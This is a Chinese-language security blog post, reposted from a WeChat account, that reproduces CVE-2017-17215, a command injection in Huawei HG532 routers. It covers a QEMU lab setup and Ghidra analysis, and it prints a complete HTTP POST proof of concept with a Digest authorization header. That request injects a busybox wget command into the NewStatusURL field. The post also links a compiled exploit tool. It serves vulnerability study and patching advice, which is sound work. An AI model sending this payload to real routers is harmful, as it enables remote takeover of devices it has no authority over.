华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215

admin 2022年11月3日19:19:31评论125 views字数 4400阅读14分40秒阅读模式

华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215


1.前言
  这是afei入门IOT安全复现的第一个漏洞。在此之前通过黑盒已经get到了某路由器的一枚RCE,但我想了解漏洞原理,于是就来学习了,之前看了腹黑、孙爱民师傅的IOT漏洞挖掘的分享,学到了很多,希望这篇文章也能带领大家入门IOT安全。

2.漏洞概述
  华为HG532系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品。2017年11月27日Check Point团队报告华为HG532产品的远程命令执行漏洞(CVE-2017-17215)。通过认证的攻击者可以向37215端口发送恶意报文进行攻击。成功的利用可能导致远程执行任意代码。据vuldb描述,该漏洞被作为一个非公开的零日漏洞处理了至少85天。

CVE:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17215


3.影响版本
   Huawei HG532e
   Huawei HG532s
   Huawei HG532d

4.漏洞等级
   高危


5.漏洞复现
5.1 漏洞环境搭建
复现环境:

Ubuntu16.04操作系统qemu虚拟机HG532eV100R001C01B020_upgrade_packet.bin固件Ghidra逆向分析工具
1.提取固件apt-get -y install binwalk     #需要提前安装binwalkbinwalk -Me HG532eV100R001C01B020_upgrade_packet.bin    #解压后主程序位于squashfs-root/目录下
2.下载qemu虚拟机sudo apt-get install -y qemu binfmt-support qemu-user-static
3.下载镜像wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
4.配置网络,创建网桥,实现虚拟机内部和Ubuntu的连接sudo apt-get install bridge-utilssudo brctl addbr Virbr0sudo ifconfig Virbr0 192.168.50.51/24 up
5.创建tap接口,添加到网桥sudo apt install uml-utilitiessudo tunctl -t tap0sudo ifconfig tap0 192.168.50.52/24 upsudo brctl addif Virbr0 tap0
6.qemu虚拟机配置,账号密码都为rootapt install qemu-system-mips#记得到下载的镜像下进行启动 sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic#进入虚拟机后,配置ip地址,测试与主机的连通性ifconfig eth0 192.168.50.53/24 upping 192.168.50.51 -c 3
7.搭建HG532e漏洞环境#回到主机中将squashfs-root文件夹复制到虚拟机,根据提示输入密码rootscp -r squashfs-root/ [email protected]:~/
#进入启动的虚拟机,挂载程序文件mount -o bind /dev ./squashfs-root/devmount -t proc /proc ./squashfs-root/proc#启动shell,注意:这个shell是用来后面改IP地址的,chroot squashfs-root sh#在Ubuntu里面再单独开一个终端,使用ssh连接上去通过ssh启动的终端,启动路由器ssh [email protected] chroot squashfs-root /bin/sh ./bin/upnp ./bin/mic
#此时的虚拟机的路由IP已经发生了变化,ssh已经断开了,所以需要返回虚拟机的终端进行更改IP地址ifconfig eth0 192.168.50.53/24 upifconfig br0 192.168.50.52/24 up
华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215


至此,HG532e漏洞漏洞环境搭建成功。

5.2 漏洞复现


POC:
POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Host: 192.168.50.53:37215User-Agent: Mozilla/5.0 (iPad; CPU iPad OS 9_3_5 like Mac OS X) AppleWebKit/535.2 (KHTML, like Gecko) FxiOS/15.8w3010.0 Mobile/65J335 Safari/535.2Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Type: text/xmlAuthorization: Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669Content-Length: 449
<?xml version="1.0" ?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"> <NewStatusURL>;/bin/busybox wget http://192.168.50.51:9000;</NewStatusURL> <NewDownloadURL>HUAWEIUPNP</NewDownloadURL> </u:Upgrade> </s:Body> </s:Envelope>
华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215

    该接口本来是没有权限访问的,通过构造的Authorization可绕过认证。其实这里采用的Digest摘要认证。

POCsuite复现:

华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215


编写goland工具复现:
    考虑到该漏洞可能更多存在于内网,为了便于安全人员验证,所以编写了这个工具。

华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215


工具已经编译好上传至github:
https://github.com/ltfafei/HuaWei_Route_HG532_RCE_CVE-2017-17215


POCsuite与goland实现华为HG532路由器命令注入CVE-2017-17215 POC代码编写请参考: 

POCsuite与goland实现华为HG532路由器命令注入CVE-2017-17215 POC_afei00123的博客-CSDN博客


5.3 漏洞分析
    根据POC我们知道漏洞触发在37215端口,先找该端口对应的程序:
netstat -nltup |grep 37215
华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215
  接着查找对应的路径ctrlt和DeviceUpgrade_1,但是在mic中并没有搜索到该路径对应的代码。还是全局搜索squashfs-root/程序内容吧:
grep -r ctrltgrep -r DeviceUpgrade
华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215
搜索payload标签:
grep -r NewStatusURLgrep -r NewDownloadURL
华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215
  /etc/upnp/DevUpg.xml定义了XML标签。
  接下来我们使用Ghidra逆向分析工具分析/bin/upnp可执行文件,Ghidra会根据汇编代码生成C++的伪代码,比较容易看懂。全局搜索快捷键:Ctrl+Shirt+E。
华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215
华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215
  可以看到此处使用了UpnpGetServiceByUrl函数来处理URL,继续搜索DeviceUpgrade关键词:
华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215
华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215
  可以看到在ATP_UPNP_RegDeviceAndService()函数中调用到了DevCfg.xml标签文件,接着查找DevCfg.xml文件中payload中对应的标签NewStatusURL:
华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215
华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215
  可以看到此处local_418和local_414参数可控,并且没有做任何过滤,直接赋值给acStack1040,然后调用system()函数,造成命令注入。
Digest摘要认证:
华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215

    通过查看程序发现登录是在web程序中,并且做了登录失败阈值限制,关于利用漏洞需要Digest摘要认证这块还没搞懂。

漏洞分析原文:
https://blog.csdn.net/qq_41490561/article/details/127647926


6.修复建议

  建议及时更新最新固件。下载地址:
http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en

                        参考链接:
                        https://mp.weixin.qq.com/s/LoFqYGL_cl69o0xaDnlYqA
                        https://mp.weixin.qq.com/s/As40BU6FlrU_YwRoloL5jg
                        https://mp.weixin.qq.com/s/b3tfR6AR4TbeKTXQG7r10g

更多文章请前往:https://blog.csdn.net/qq_41490561




华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215
更多精彩内容请关注我们

华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215

华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215


华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215

往期推荐

华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215

漏洞复现:fastjson远程代码执行漏洞—CNVD-2017-02833

SRC漏洞挖掘与ReadTeam快速打点利器

记一次安全设备漏洞突破之踩坑


原文始发于微信公众号(网络运维渗透):华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月3日19:19:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215http://cn-sec.com/archives/1387159.html

发表评论

匿名网友 填写信息